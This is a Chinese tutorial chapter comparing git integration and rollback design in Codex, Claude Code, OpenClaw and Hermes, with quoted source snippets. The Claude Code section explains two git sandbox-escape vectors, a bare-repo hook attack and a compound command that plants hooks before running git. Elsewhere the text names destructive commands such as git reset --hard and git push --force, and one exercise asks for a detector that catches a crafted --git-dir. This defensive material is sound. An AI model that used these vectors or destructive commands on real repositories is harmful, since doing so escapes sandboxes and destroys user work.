08 · Agent 改坏代码后如何回滚

Git 是恢复层，也是审计层

结论

问题是 agent 改完代码后如何恢复，而不是 Git 能列出多少命令。本文沿着三个决策读源码：哪些状态要注入上下文，补丁如何留下可审计结果，失败时怎样回到不覆盖用户未提交改动的基线。Codex 的 baseline 与结构化 patch 只在 coding agent 需要这些保证时才值得承担；…

展开完整结论

问题是 agent 改完代码后如何恢复，而不是 Git 能列出多少命令。本文沿着三个决策读源码：哪些状态要注入上下文，补丁如何留下可审计结果，失败时怎样回到不覆盖用户未提交改动的基线。Codex 的 baseline 与结构化 patch 只在 coding agent 需要这些保证时才值得承担；Claude Code 的缓存和 gitSafety 解决 IDE 的高频查询与恶意工作目录；OpenClaw、Hermes 则把职责留在 shell 或版本提示。数字按源码快照、假设场景或本站实验分别标注，不把它们当成通用实测。

场景：用户的工作区同时有 staged、unstaged 和 untracked 改动，Agent 在同一目录修 Bug，测试失败后准备“回到基线”。如果基线只是 git reset --hard HEAD，Agent 的回滚会把用户尚未提交的工作一起删除。

通过标准：启动时记录用户状态与 Agent 基线；Agent 修改位于可区分的 Patch、分支或 Worktree；回滚只作用于 Agent 拥有的变化；未跟踪文件、用户暂存区和中断前提交都能被验证地保留。

先问：回滚要不要碰用户的 Git

同一个仓库，Codex 把它当结构化对象，Claude Code 当 IDE 状态，OpenClaw 当路径锚点，Hermes 当版本指示器。

四家在 5 件 git 相关事情上的覆盖度：

维度	Codex	Claude Code	OpenClaw	Hermes
抽象层级	独立 crate `codex-git-utils` 加 `GitSha` 强类型	utils/git.ts 加 gitFilesystem 缓存层加 LSP 联动	infra/git-root.ts 加 git-commit.ts（仅版本戳）	banner.py 内嵌 subprocess
提供给模型的 git 上下文	`GitInfo { commit_hash, branch, repository_url }` 注入 system context	当前 cwd、branch、head 通过环境注入加缓存	不注入，模型自己 `git status`	不注入，模型自己 `git status`
patch、commit	`apply_git_patch` 加 `parse_git_apply_output` 加 `stage_paths` 一条龙	走 BashTool 加 23 检查，没有专门的 git apply 抽象	没有 git apply 抽象	没有 git apply 抽象
PR 工作流	`app-server` 暴露 git API。`GitDiffToRemote`、`recent_commits`、`merge_base_with_head` 全有	`/review` 加 `/pr_comments` slash 命令加 `gh pr` 集成加 ultrareview 远程	不内建	不内建
安全防御	命令走 execpolicy（git reset --hard 默认 forbidden）	PowerShell `gitSafety.ts` 防 bare-repo 攻击加 git-internal write 攻击	路径走 workspaceOnly 策略	workdir allowlist 加 dangerous cmd guard

git 在 agent 架构里的位置，从中心到边缘

源码证据：回滚、上下文和安全如何分工

Codex · git 拎出来做成独立 crate

coding agent 每轮都要读状态、应用补丁、比较差异；把这些调用留给 shell，解析和回滚就会散落。Codex 因此把 apply、baseline、branch、info 放进 git-utils crate。下面只看它如何支持恢复，不把 crate 规模当质量分数。

所以 Codex 决定把 git 拎出来做成独立 crate，把所有 git 相关的「结构化抽象」「性能优化」「错误处理」「安全防御」一次性做对，让上层调用者只面对干净的 Rust API。

打开 codex-git-utils/lib.rs 看公开的 API 表面就能知道这件事做得有多认真：

Codex codex/codex-rs/git-utils/src/lib.rs:1-41 git-utils crate 公开的 API 表面：apply / baseline / branch / info / patch 全套 ▸

mod apply;
mod baseline;
mod branch;
mod errors;
mod info;
mod operations;
mod platform;

pub use apply::ApplyGitRequest;
pub use apply::ApplyGitResult;
pub use apply::apply_git_patch;
pub use apply::extract_paths_from_patch;
pub use apply::parse_git_apply_output;
pub use apply::stage_paths;
pub use baseline::GitBaselineChange;
pub use baseline::GitBaselineDiff;
pub use baseline::diff_since_latest_init;
pub use baseline::ensure_git_baseline_repository;
pub use baseline::reset_git_repository;
pub use branch::merge_base_with_head;
pub use codex_protocol::protocol::GitSha;
pub use errors::GitToolingError;
pub use info::CommitLogEntry;
pub use info::GitDiffToRemote;
pub use info::GitInfo;
pub use info::canonicalize_git_remote_url;
pub use info::collect_git_info;
pub use info::current_branch_name;
pub use info::default_branch_name;
pub use info::get_git_remote_urls;
pub use info::get_git_repo_root;
pub use info::get_has_changes;
pub use info::git_diff_to_remote;
pub use info::local_git_branches;
pub use info::recent_commits;
pub use info::resolve_root_git_project_for_trust;

这个 API 表面分成 5 个模块各管一块。apply 模块处理打补丁：把模型生成的 patch 字符串应用到工作区，并返回受影响的文件路径列表（让上层可以决定要不要 stage、要不要展示给用户）。

baseline 模块处理「干净状态快照」：agent 启动时在 sandbox 内单独维护一个 git 仓库副本作为 baseline，跑完一轮可以 diff_since_latest_init 看本轮做了哪些变更、可以 reset_git_repository 一键回到 baseline。这是其他三家都没做的功能，专门给 agent 用，独立于用户的真实 git 历史。

branch 模块算 merge-base（找出当前 branch 跟另一 branch 的共同祖先 commit），用来计算「我这条 branch 上独有的提交」。info 模块收集元信息：GitInfo 三件套（commit、branch、repository_url）、recent_commits 列出最近提交、git_diff_to_remote 算跟远端的 diff。

operations 模块跟 platform 模块处理一些底层操作和平台兼容性问题。

最关键的设计是 GitInfo 这个对象：它是一个强类型 struct，agent 启动时收集然后注入到 system context 里：

Codex codex/codex-rs/git-utils/src/info.rs:44-82 GitInfo 三件套 + 并发收集 + 5 秒 timeout ▸

#[derive(Serialize, Deserialize, Clone, Debug, JsonSchema, TS)]
pub struct GitInfo {
    /// Current commit hash (SHA)
    #[serde(skip_serializing_if = "Option::is_none")]
    pub commit_hash: Option<GitSha>,
    /// Current branch name
    #[serde(skip_serializing_if = "Option::is_none")]
    pub branch: Option<String>,
    /// Repository URL (if available from remote)
    #[serde(skip_serializing_if = "Option::is_none")]
    pub repository_url: Option<String>,
}

/// Timeout for git commands to prevent freezing on large repositories
const GIT_COMMAND_TIMEOUT: TokioDuration = TokioDuration::from_secs(5);

pub async fn collect_git_info(cwd: &Path) -> Option<GitInfo> {
    let is_git_repo = run_git_command_with_timeout(&["rev-parse", "--git-dir"], cwd)
        .await?
        .status
        .success();

    if !is_git_repo {
        return None;
    }

    // Run all git info collection commands in parallel
    let (commit_result, branch_result, url_result) = tokio::join!(
        run_git_command_with_timeout(&["rev-parse", "HEAD"], cwd),
        // ...
    );
    // ...
}

这段代码有三个值得反复琢磨的工程细节。第一个是 GitSha 是强类型而不是裸 String：codex_protocol::protocol::GitSha 把 SHA 的合法格式校验、序列化、TS 类型导出全都封装到一个类型里，调用方拿到 GitSha 就知道它是合法的 git SHA，不需要每个调用方再手写正则。这种「不要让 String 在系统里到处跑」的原则在大型 codebase 里很重要，每个领域概念都应该有自己的类型。

第二个是 5 秒 timeout，注释写的是「prevent freezing on large repositories」。这只能证明作者设置了一个有界预算，不能证明某类 monorepo 通常会卡 30 秒；锁、索引和网络挂载都可能改变结果。

超时后当前快照让 GitInfo 返回 None，agent 可以继续启动但没有 Git 上下文。第三个是并行收集：commit、branch、URL 三个调用在源码里通过 tokio::join! 发起；是否能把启动时间从三次等待降到一次，要在目标仓库和文件系统上测量。

特别值得讲的是 baseline 那一组（ensure_git_baseline_repository、diff_since_latest_init、reset_git_repository）：这是 Codex 独有的「agent 专属快照仓库」机制。具体怎么做：agent 启动时在 sandbox 内单独 init 一个 git 仓库作为 baseline，把当前工作区状态全 commit 进去。

agent 在主仓库里跑一轮做了一堆改动后，可以用 diff_since_latest_init 看「本轮 agent 做了哪些变更」（独立于用户自己的 git 历史），也可以用 reset_git_repository 一键回滚整个工作区到 baseline 状态。这种「跑坏了一键回滚」的能力对实验性 agent 操作很重要：用户可以让 agent 大胆尝试，反正出错了 reset 一下就回到干净状态。其他三家都没做这件事。

Claude Code · git 当 IDE 基础设施：高性能缓存加高安全防御加 slash 命令封装

IDE 场景的难点是频繁查 root 和不可信 cwd。Claude Code 用 LRU 缓存减少重复 stat，并在 PowerShell 路径检查 bare-repo 与内部写入组合；/review 则把多步流程留在 prompt。

它的出发点是：git 对 IDE-style agent 来说是基础设施，要做到三件事：一是性能（IDE 高频调用 git 命令，每次都走子进程会卡）、二是安全（IDE 用户的 cwd 完全不可信，git 可能被武器化做沙箱逃逸）、三是工作流封装（让 code review、PR 评论这种多步流程能一行命令完成）。下面一条条看。

性能的核心是 findGitRoot 的 LRU 缓存：agent 每次操作文件前都要先确认这个文件所在的 git 仓库根目录在哪，如果模型一个 turn 里要改 20 个文件分散在 10 个目录，没有缓存就要做 10 次「向上 walk 找 .git」操作，每次都是 stat 系统调用：

Claude Code claude-code/src/utils/git.ts:27-86 findGitRoot 用 LRU 50 缓存 + 诊断日志 ▸

const findGitRootImpl = memoizeWithLRU(
  (startPath: string): string | typeof GIT_ROOT_NOT_FOUND => {
    const startTime = Date.now()
    logForDiagnosticsNoPII('info', 'find_git_root_started')

    let current = resolve(startPath)
    const root = current.substring(0, current.indexOf(sep) + 1) || sep
    let statCount = 0

    while (current !== root) {
      try {
        const gitPath = join(current, '.git')
        statCount++
        const stat = statSync(gitPath)
        // .git can be a directory (regular repo) or file (worktree/submodule)
        if (stat.isDirectory() || stat.isFile()) {
          logForDiagnosticsNoPII('info', 'find_git_root_completed', {
            duration_ms: Date.now() - startTime,
            stat_count: statCount,
            found: true,
          })
          return current.normalize('NFC')
        }
      } catch {
        // .git doesn't exist at this level, continue up
      }
      // ...
    }
    // ...
  },
  path => path,
  50,
)

注意几个细节。memoizeWithLRU(fn, keyFn, 50) 的 50 是 LRU 容量：50 个不同的 startPath 都会被缓存命中，超过 50 个 LRU 淘汰最旧的。50 这个数字怎么选的？

源码注释解释了为什么要限制无界缓存：跨目录编辑会不断积累 key。它没有给出「50 足够覆盖多数 monorepo」的基准，因此这里把 50 视为该版本的实现参数；换成别的项目应通过命中率和内存占用重新选择。

logForDiagnosticsNoPII 是 Claude Code 特有的「不带 PII 的诊断日志」工具：记录 find_git_root 调用的耗时和 stat 次数让团队可以分析慢路径，但绝不记录路径本身（因为路径可能包含用户名等 PII）。

stat.isDirectory() || stat.isFile() 这一行处理一个 corner case：.git 不一定是目录，在 git worktree 和 submodule 场景下它是一个文件，文件内容指向实际的 git dir。缓存需要正确识别这两种情况。

安全层是 Claude Code 的 PowerShell 特有 gitSafety.ts，专门防御两种 git 沙箱逃逸攻击：

Claude Code claude-code/src/tools/PowerShellTool/gitSafety.ts:1-10 两种 git 沙箱逃逸攻击的防御 ▸

/**
 * Git can be weaponized for sandbox escape via two vectors:
 * 1. Bare-repo attack: if cwd contains HEAD + objects/ + refs/ but no valid
 *    .git/HEAD, Git treats cwd as a bare repository and runs hooks from cwd.
 * 2. Git-internal write + git: a compound command creates HEAD/objects/refs/
 *    hooks/ then runs git — the git subcommand executes the freshly-created
 *    malicious hooks.
 */

这段注释里描述的两种攻击都是真实存在的 git 安全漏洞，值得详细讲清楚。第一种是 bare-repo 攻击：git 有一种叫 bare repository 的模式（裸仓库，没有 working tree 只有 git 对象数据库），bare repo 的判断标准是「当前目录直接包含 HEAD 文件、objects、目录、refs、目录」而不需要 .git、 目录。

如果攻击者诱导 agent 把工作目录切到一个特制目录（里面有 HEAD、objects、refs 等结构），某些 Git 操作可能按 bare repo 解释它并触发 hooks。具体会触发哪个 hook 取决于子命令和配置；文章不把「任意 git 命令」当成已验证事实。

第二种是 git-internal write 加 git 复合攻击：一条复合 shell 命令先创建 HEAD 加 objects、加 refs、加 hooks、这些目录结构，然后接着跑 git 命令，刚被创建的 hooks 立刻就被执行。这两种攻击都利用了 git 自动信任工作目录的设计。

Claude Code 的 gitSafety.ts 在 PowerShell 工具调用前会扫描这两种模式：检测到 cwd 里有 HEAD 加 objects、加 refs、组合就告警、检测到一条命令试图创建 git 内部目录就告警。这种「具体攻击向量到具体防御代码」的对应让 reviewer 很容易理解每行防御代码在防什么，而不是抽象地说「过滤恶意 git 行为」。

工作流封装层是 slash 命令，最有代表性的是 /review：把代码审查这种多步操作封装成一条命令：

Claude Code claude-code/src/commands/review.ts:9-32 /review 命令的内嵌 prompt：gh pr 三步走 ▸

const LOCAL_REVIEW_PROMPT = (args: string) => `
      You are an expert code reviewer. Follow these steps:

      1. If no PR number is provided in the args, run \`gh pr list\` to show open PRs
      2. If a PR number is provided, run \`gh pr view <number>\` to get PR details
      3. Run \`gh pr diff <number>\` to get the diff
      4. Analyze the changes and provide a thorough code review that includes:
         - Overview of what the PR does
         - Analysis of code quality and style
         - Specific suggestions for improvements
         - Any potential issues or risks

      Keep your review concise but thorough. Focus on:
      - Code correctness
      - Following project conventions
      - Performance implications
      - Test coverage
      - Security considerations

      Format your review with clear sections and bullet points.

      PR number: ${args}
    `

注意这是一个特别的模式叫「prompt-as-command」：slash 命令不调用任何代码，只是把一段精心写好的 prompt 模板塞给模型，让模型基于这段 prompt 自己用 shell 工具去完成任务。这种模式的工程意义在于：把「常见多步流程」沉淀成可复用的 prompt 模板而不是 hardcode 代码，团队可以随时调整 prompt 措辞优化效果（比如发现 review 输出格式不够好就改 prompt 让模型按特定 markdown 结构输出），不需要发版。

Claude Code 后面还有一个 /ultrareview 是 /review 的远程加强版（走专门的 ultrareview pipeline 用更强的模型做更深入的分析）。这种 prompt-as-command 模式会在第 09 章深入讲。

OpenClaw · 只做版本戳，git 不进模型抽象循环

通用控制面不应替每个 skill 规定 Git 工作流。OpenClaw 只找 root、读版本戳，其余交给 shell；这会把状态解析和回滚责任推给上层。

git-root.ts 整个文件就是「向上走找 .git」的实现：

OpenClaw openclaw/src/infra/git-root.ts:3-41 git-root.ts 全部代码：向上走找 .git ▸

export const DEFAULT_GIT_DISCOVERY_MAX_DEPTH = 12;

function walkUpFrom<T>(
  startDir: string,
  opts: { maxDepth?: number },
  resolveAtDir: (dir: string) => T | null | undefined,
): T | null {
  let current = path.resolve(startDir);
  const maxDepth = opts.maxDepth ?? DEFAULT_GIT_DISCOVERY_MAX_DEPTH;
  for (let i = 0; i < maxDepth; i += 1) {
    const resolved = resolveAtDir(current);
    if (resolved !== null && resolved !== undefined) {
      return resolved;
    }
    const parent = path.dirname(current);
    if (parent === current) break;
    current = parent;
  }
  return null;
}

export function findGitRoot(startDir: string, opts: { maxDepth?: number } = {}): string | null {
  return walkUpFrom(startDir, opts, (repoRoot) => (hasGitMarker(repoRoot) ? repoRoot : null));
}

这段实现很典型：从 startDir 开始往父目录走，每一层检查有没有 .git（用 hasGitMarker 函数封装好这个判断逻辑），找到就返回，找不到就继续往上。上限 12 层防止在没有 git 仓库的系统目录里无限循环。walkUpFrom 是一个泛型 helper，可以复用在「找最近的 package.json」「找最近的 tsconfig」这类场景，不浪费抽象。

但整个文件就这么多了：没有 GitInfo 注入、没有 baseline 快照、没有 apply_git_patch、没有缓存层。

第二个文件 git-commit.ts 也很有特色：它用来构建 OpenClaw 自身的版本号字符串（比如「openclaw v1.2.3-abcd1234」里的 abcd1234），但实现上没有走 git 子进程而是直接读 .git/HEAD 的文件内容：

OpenClaw openclaw/src/infra/git-commit.ts:86-103 读 .git/HEAD 不走 git binary，避免 PATH 依赖 ▸

const readCommitFromGit = (
  searchDir: string,
  packageRoot: string | null,
): string | null | undefined => {
  const headPath = resolveGitHeadPath(searchDir, {
    maxDepth: resolveGitLookupDepth(searchDir, packageRoot),
  });
  if (!headPath) {
    return undefined;
  }
  const head = fs.readFileSync(headPath, "utf-8").trim();
  if (!head) return null;
  if (head.startsWith("ref:")) {
    // ... resolve ref to commit hash
  }
  // ...
};

为什么不走 git binary？因为 git 子进程会引入 PATH 依赖（如果用户系统里没装 git 或者 PATH 没设好就报错），也会增加一次进程启动和仓库读取。直接读 .git/HEAD 文件：这个文件要么是个 40 字符的 SHA（直接就是 commit hash），要么是 ref: refs/heads/main 格式（指向一个 ref，再读 .git/refs/heads/main 拿 SHA）。两条路径的耗时差异需要在目标操作系统和仓库上测量，源码本身没有给出基准。

这种「绕开 git binary 直接读 .git 内部文件」的做法适用于「只读一个 commit hash」的简单场景，不适用于复杂操作（branch、log、status 这些走文件读太麻烦），但对 OpenClaw 的需求（只要版本戳）刚刚好。

这跟 OpenClaw 的整体定位完全一致：它是控制面而不是 coding 工具。git 操作（commit、push、PR、status 之类）交给模型自己用 shell 工具去跑（受第 04 章讲的 tool-policy-pipeline 和 workspaceOnly 路径限制约束），平台层只做「我们在哪个仓库加哪个 commit」这种最基础的元信息。如果用户要用 OpenClaw 写 coding agent，他得自己加一个 git 抽象层。

如果用户写 Slack bot 根本不用 git，OpenClaw 不强加任何 git 代码。

Hermes · 整个项目的 git 处理就一个函数：banner 上显示版本和落后信息

聊天 Agent 只需在启动时告诉用户构建版本。Hermes 的 banner 读取 upstream 和 local SHA，没有 patch 或回滚抽象；这是范围选择，不是 Git 能力证明。

Hermes hermes-agent/hermes_cli/banner.py:213-238 banner 单一的 git 状态：upstream / local / ahead 三件套 ▸

def get_git_banner_state(repo_dir: Optional[Path] = None) -> Optional[dict]:
    """Return upstream/local git hashes for the startup banner."""
    repo_dir = repo_dir or _resolve_repo_dir()
    if repo_dir is None:
        return None

    upstream = _git_short_hash(repo_dir, "origin/main")
    local = _git_short_hash(repo_dir, "HEAD")
    if not upstream or not local:
        return None

    ahead = 0
    try:
        result = subprocess.run(
            ["git", "rev-list", "--count", "origin/main..HEAD"],
            capture_output=True,
            text=True,
            timeout=5,
            cwd=str(repo_dir),
        )
        if result.returncode == 0:
            ahead = int((result.stdout or "0").strip() or "0")
    except Exception:
        ahead = 0

    return {"upstream": upstream, "local": local, "ahead": max(ahead, 0)}

这个函数做的事很简单：先找 repo dir、然后并行拿 origin/main 和 HEAD 的短 SHA、然后跑一次 git rev-list --count origin/main..HEAD 算本地领先 origin/main 多少 commit。

结果只用来在启动 banner 里显示一行 Hermes Agent v0.x.x · upstream abc1234 · local def5678 (+3 carried commits)，告诉用户「你跑的是某个 commit、比 origin/main 多了 3 个本地 commit」。

除了这一行字之外 Hermes 整个项目就没有任何其他 git 抽象：模型要查 git 状态、提 commit、推 PR，全部走 terminal_tool 工具跑 shell 命令，跟跑 ls、cat 这些没任何区别（参见第 07 章 shell 执行）。

这是把 Git 留在 shell 与版本标记边界的轻量实现。在当前 Hermes 快照的多平台 ChatOps 定位下，核心任务不一定涉及仓库编辑，因此没有继续扩展控制面 Git 抽象；coding-first 产品若需要补丁、回滚或工作树保护，仍要承担更深的 Git 集成。banner 上那行字主要给运维人员看：「这个 Hermes 实例跑的是哪个版本？跟主干差多少？」用来判断是否有未推送的修改。

回滚路径先共享哪些事实

这次抽样的四个快照里，有 4 个重复出现的实现细节。它们是源码观察，不是跨项目的硬性规范；你的目标仓库仍需要单独验证。

第一件是 .git 既可以是目录也可以是文件。在普通仓库里它通常是目录；worktree 和 submodule 里则可能是指向实际 git dir 的文件。本次查看的 Codex、Claude Code、OpenClaw 路径都显式处理了这两种形态。忽略它，worktree 用户可能会得到「不是 git 仓库」的误报。

第二件是用 walk-up 算法向上找 git root，深度有上限。Codex、Claude Code、OpenClaw 三家都用同样的算法：从 startDir 开始往父目录走，每一层检查有没有 .git，找到就返回。深度上限 8-12 层不等（OpenClaw 是 12 层、Claude Code 没硬上限但靠 root 判断退出）。为什么要有深度上限？因为如果 cwd 不在任何 git 仓库内（比如在 /tmp 或 /home/user/desktop），walk-up 会一直走到 / 根目录才停，几十次 stat 系统调用浪费时间。有上限可以在 12 层后果断认为「这不在 git 仓库里」然后立刻返回 null。

第三件是 git 子进程需要有界 timeout。Codex 和 Hermes 的当前快照都写了 5 秒；这适合作为初始预算，不是所有仓库都应照抄的数字。大仓库、锁和网络挂载都可能改变耗时，超时后应返回可解释的降级状态，并用目标环境的测量结果调整预算。

第四件是不能假设 git binary 在 PATH 里。CI、容器和最小化系统都可能缺少它。本次抽样中的路径各自提供了降级方式：OpenClaw 直接读 .git/HEAD，Codex 在收集失败时返回空状态，另外两者在命令失败时保留无 Git 上下文的运行路径。是否足够，要在你的部署环境里验证。

选择抽象厚度的条件

Codex 与 Claude Code 守着右下（厚抽象加框死，coding agent 区），OpenClaw 与 Hermes 守着左上（薄抽象加自由，控制面区）。两条对角线没人，对应的工程矛盾就是「为何要抽象」。

上面 4 条是本次源码对照里反复出现的风险控制。至于 git 抽象做多深，要看产品是否高频修改代码、是否需要回滚，以及团队愿意维护多少专用 API。下面四种实现各自展示了一组取舍，不构成通用排名。

写一个专门做 coding 的 agent（核心场景就是让模型读代码、改代码、提交代码）。可以先研究 Codex 的 git-utils crate：GitInfo 把 commit 和 branch 放进上下文，baseline 提供回滚点，apply_git_patch 统一 patch 的落盘路径。强类型封装能否抵消维护成本，取决于 git 操作频率、回滚需求和故障率，应在目标工作负载上测量。

写 IDE 插件或 dev tool（agent 嵌入到开发者的 IDE 环境里）。Claude Code 的缓存层、gitSafety 和 slash 命令可以作为参考。如果交互会反复查询同一仓库，缓存可能减少等待；如果用户能打开来源不明的仓库，就要针对相应 threat model 检查 bare-repo 等入口。prompt-as-command 便于迭代 review、PR 评论等流程，但缓存失效和 PowerShell 路径仍会增加维护成本。

写通用 agent 控制面（agent 用途多样，不一定都是 coding）。OpenClaw 的 git-root 加版本戳展示了较薄的抽象。对不接触代码仓库的 Slack、邮件或客服任务，专用 git 层未必能收回维护成本；需要 coding 能力时，再由具体 skill 补齐操作和回滚语义。

写极简的 chat agent（git 完全不是核心场景）。Hermes 的 banner-only 模式只解决版本标识：banner 函数在 _resolve_repo_dir 中定位仓库，其他 git 状态仍由模型通过 shell 查询。它减少了框架代码，也放弃了统一错误处理；只有在产品确实不依赖仓库状态时，这项取舍才合算。

选择：把回滚边界放在哪里

这里不做星级评分。Git 抽象是否合算，取决于任务边界。

你的约束	可先读	代价与边界
Agent 会改文件、提交并需要回滚	Codex 的 GitInfo、apply_git_patch、baseline	需要维护独立 API；baseline 还会占临时磁盘
Agent 嵌在 IDE，查询频繁且工作目录不可信	Claude Code 的 LRU 与 gitSafety.ts	缓存要处理失效；安全检查只覆盖引用的攻击面
框架服务多种 Agent，Git 只是可选工具	OpenClaw 的 root 与版本戳	coding 能力要由 skill 自己补
只需告诉用户构建版本	Hermes 的 banner	状态、补丁和回滚仍由模型调用 shell

从最小 Git 集成开始

下面是根据这些源码整理的起步清单。先让恢复和失败路径可观察，再按真实工作负载添加功能；这里的数字都是参考值，不是交付周期承诺。

复刻方案

最小可行

• 从 walk-up 找 git-root 起步（参考 OpenClaw 的 30 行实现）。从 cwd 一层层往上找直到看到 .git 目录，简单直接。这是任何 git 集成的第一步
• 读 .git/HEAD 拿 commit 短 SHA 不依赖 git binary。git 不在 PATH（CI、container、极简系统）也能拿到 SHA。HEAD 文件格式简单（一行 ref 或 SHA）正则就能解析
• 所有 git 子进程设置有界 timeout。可以先从源码中的 5s 预算开始，再用目标仓库测量调整；超时后返回可解释的降级值（如 commit=unknown），不要让启动失败
• git 操作走通用 shell 拦截器不要专门为 git 开后门。git 命令的危险性跟其他 shell 命令一样高（git push --force、git reset --hard 都能毁数据），别图方便给 git 单独开通道

进阶

• 把 git 信息做成强类型对象注入 system context（参考 Codex 的 GitInfo）。{ commit, branch, remote_url, dirty } 字段对模型友好（模型不用自己解析 git status 输出），还能直接 i18n、加注释
• commit、branch、remote_url 尽量并行收集（用 Promise.all 或 tokio::join!）。并行可以减少串行等待，但具体收益要用你的仓库和文件系统测量
• findGitRoot 加 LRU 缓存（参考 Claude Code 的 50 entries）。同一会话内反复访问同一目录时，缓存可以减少重复 walk-up；50 是该源码快照的实现参数，应按目标工作负载的命中率和内存占用重新选择
• 做 baseline 快照机制（参考 Codex 的 ensure_git_baseline_repository）。sandbox 内单独维护一份干净的仓库副本。agent 改坏了一键 reset 到 baseline。这是「让 agent 大胆改但不怕改坏」的关键
• 提供 apply_git_patch 高层抽象（参考 Codex 的 git-utils/apply.rs）。输入 patch 字符串、输出受影响文件列表。模型不用自己 git apply 然后处理 conflict，把这种繁琐细节抽掉
• 加 bare-repo 攻击防御（参考 Claude Code 的 gitSafety.ts）。cwd 里出现 HEAD 加 objects、加 refs、触发告警。这是 git 被「假仓库」攻击的常见入口（路径穿越加 git internal write）
• 做 /review 这种 prompt-as-command（参考 Claude Code）。用户输入 PR 号，模型自己跑 gh pr view、gh pr diff、gh pr comments 三件套。把高频用例预制成命令省 token 也省时间

一开始别做

• 别假设 git 在 PATH。CI 环境、container、windows 用户都可能没装。至少做一次启动检测（git --version），失败用降级模式（不读 git 信息），不要直接 throw 让 agent 挂掉
• 别把 git status 输出原样塞给模型。输出是非结构化文本（中文、英文、不同 git 版本格式都不一样），模型解析率低。解析成 { branch, ahead, behind, files: [...] } 再传
• 别给 git reset --hard、git push --force 开后门。这些命令毁数据后无法恢复，需要走 execpolicy、permission mode 拦截。agent 看似「方便」迟早会出事故
• 别忽视 worktree、submodule。.git 是文件不是目录的情况要处理（worktree 子目录的 .git 是文件指向主仓库）。submodule 的 .git 也是文件。忽视会导致误判仓库根
• 别让模型替你跑无界的 git 命令。大仓库、锁和历史重写都可能拖慢调用；设置 timeout，并在超时后给出下一步，而不是静默卡住

把差异留给决策点

Codex git-utils crate 几十个 API · Claude Code IDE 基础设施 · OpenClaw 最小集 · Hermes banner 一行字。抽象厚度差一个数量级。

差一个数量级。Codex 那边 git-utils 一个 crate 几千行。Hermes 这边 25 行 banner 函数。两边都没错，只是 agent 定位不同。

Git 状态与回滚的核验入口

延伸阅读 · 源码入口

• Codex codex/codex-rs/git-utils/src/lib.rs:1-41 git-utils crate 的全部 API 表面
• Codex codex/codex-rs/git-utils/src/info.rs:44-150 GitInfo、collect_git_info 并行收集加 5s timeout
• Codex codex/codex-rs/git-utils/src/apply.rs apply_git_patch 加 parse_git_apply_output 加 stage_paths
• Codex codex/codex-rs/git-utils/src/baseline.rs baseline 快照机制：ensure_git_baseline_repository、diff_since_latest_init、reset_git_repository
• Codex codex/codex-rs/tui/src/get_git_diff.rs TUI 端的 git diff 渲染
• Codex codex/codex-rs/app-server/src/request_processors/git_processor.rs app-server 暴露的 git API（前端 UI 用）
• Claude Code claude-code/src/utils/git.ts:1-100 findGitRoot LRU 加诊断日志
• Claude Code claude-code/src/utils/git/gitFilesystem.ts 缓存层：branch、defaultBranch、head、remoteUrl、worktreeCount
• Claude Code claude-code/src/tools/PowerShellTool/gitSafety.ts:1-130 bare-repo 攻击加 git-internal write 攻击双重防御
• Claude Code claude-code/src/commands/review.ts /review 内嵌 prompt 加 /ultrareview 远程入口
• Claude Code claude-code/src/commands/pr_comments/index.ts /pr_comments 较全工作流
• OpenClaw openclaw/src/infra/git-root.ts:1-73 walk-up 全部代码（30 行）
• OpenClaw openclaw/src/infra/git-commit.ts:86-100 不走 git binary，直接读 .git/HEAD 拿 SHA
• Hermes hermes-agent/hermes_cli/banner.py:195-256 _git_short_hash 加 get_git_banner_state 加 format_banner_version_label

本章带走什么与下一步实验

Git 在 Agent 系统里有两个角色：保存可回滚状态，并留下可审计变更。关键不是多暴露几个命令，而是明确用户改动、Agent 改动和可恢复检查点分别归谁。

下一步实验：准备一个同时含 staged、unstaged、untracked 文件的脏工作区，让 Agent 修改两个文件、创建一个文件、提交一次并在测试失败后崩溃。依次测试撤销当前步骤、回到 Agent 基线和恢复 Session；验收用户变化零丢失、Agent Diff 可独立查看、重复回滚幂等。

附录：练习与复盘

按需展开练习和十道复盘题

练习

1. 🟢 实现 findGitRoot：用 walk-up 算法找最近的 .git，深度上限 12 层。处理两种情况：.git 是目录（普通 repo）和 .git 是文件（worktree）。
2. 🟠 实现 GitInfo 强类型：返回 { commit_hash, branch, repository_url }，三个字段并行获取，整体 5s timeout。
3. 🟠 实现 baseline 快照：在 sandbox 临时目录里维护一个 baseline repo，agent 跑完一轮 dump 一次 diff，用户可以一键回到 baseline。验证：把 baseline 跑 5 轮看磁盘占用是否合理。
4. 🔴 反 bare-repo 攻击：实现一个 validateGitArgs(args) 函数，扫描参数里有没有同时出现 HEAD 加 objects 加 refs 加 hooks 子串，命中即触发审批。验证：能挡住 git --git-dir=. status（其中 . 是被精心构造的目录）。

复盘题

Q1 · 概念：Codex 把 git 做成独立 crate，Hermes 只在 banner 显示一行。两种思路本质区别是什么？

本质区别是 「git 是 agent 的核心抽象还是边缘元信息」 的定位差异，背后是产品定位的差异。

Codex 是 coding agent，一条完整任务可能经过读文件、改文件、检查状态、跑测试和准备提交，Git 会在多个节点参与。GitInfo 注入 system context 让模型一开始就知道当前 commit 加 branch，apply_git_patch 把 patch 落盘和 git add 合成一步；这些接口是否值得长期维护，要看产品里此类任务的实际占比。

baseline snapshot 让 agent 把仓库改乱了也能一键回退。

Hermes 是 multi-agent 研究平台，git 只是众多元信息之一（旁边还有 GPU 配置、环境变量、模型版本）。它的 banner 显示「upstream abc1234、local def5678、+3 carried commits」，告诉用户当前 agent 跑的是哪个版本。仅此而已。Hermes 用户的任务路径里 git 出现的次数不多于 GPU 信息，所以也没必要给 git 单独建抽象。

工程哲学：抽象厚度跟使用频率和失败代价匹配。高频、需要结构化恢复的 Git 路径值得独立 API；只展示版本戳的路径可以保持很薄。Hermes 没必要为了「agent 框架显得专业」硬上 git-utils。

实战类比：

• React Native 把 navigation 做成一等公民（page transition 是核心交互）。
• Webpack 把 bundle 做成一等公民。
• Electron 把 window 做成一等公民。

每个框架对应一个核心抽象，其他的都是边缘元信息。Codex 对应的核心是 coding patch。Hermes 对应的是 multi-agent execution。OpenClaw 对应的是 tool policy。Claude Code 对应的是 IDE 状态。git 在四家心目中的「重要级别」不同，抽象厚度自然差一个数量级。

源码：codex/codex-rs/git-utils/src/lib.rs:1-41（30 个公开 API）对比 hermes-agent/hermes_cli/banner.py:213-238（25 行函数）。

追问：「Claude Code 也不是 git 工具，凭什么也做这么厚？」答：Claude Code 是 IDE 插件，IDE 用户期望 git 是一等公民（VSCode 自带 git panel、JetBrains 自带 git pane）。Claude Code 跟着 IDE 用户的预期走，所以做厚。Hermes 是 CLI，用户对 git 抽象的预期低。

Q2 · 架构：Codex 的 GitSha 为什么要强类型而不是直接用 String？

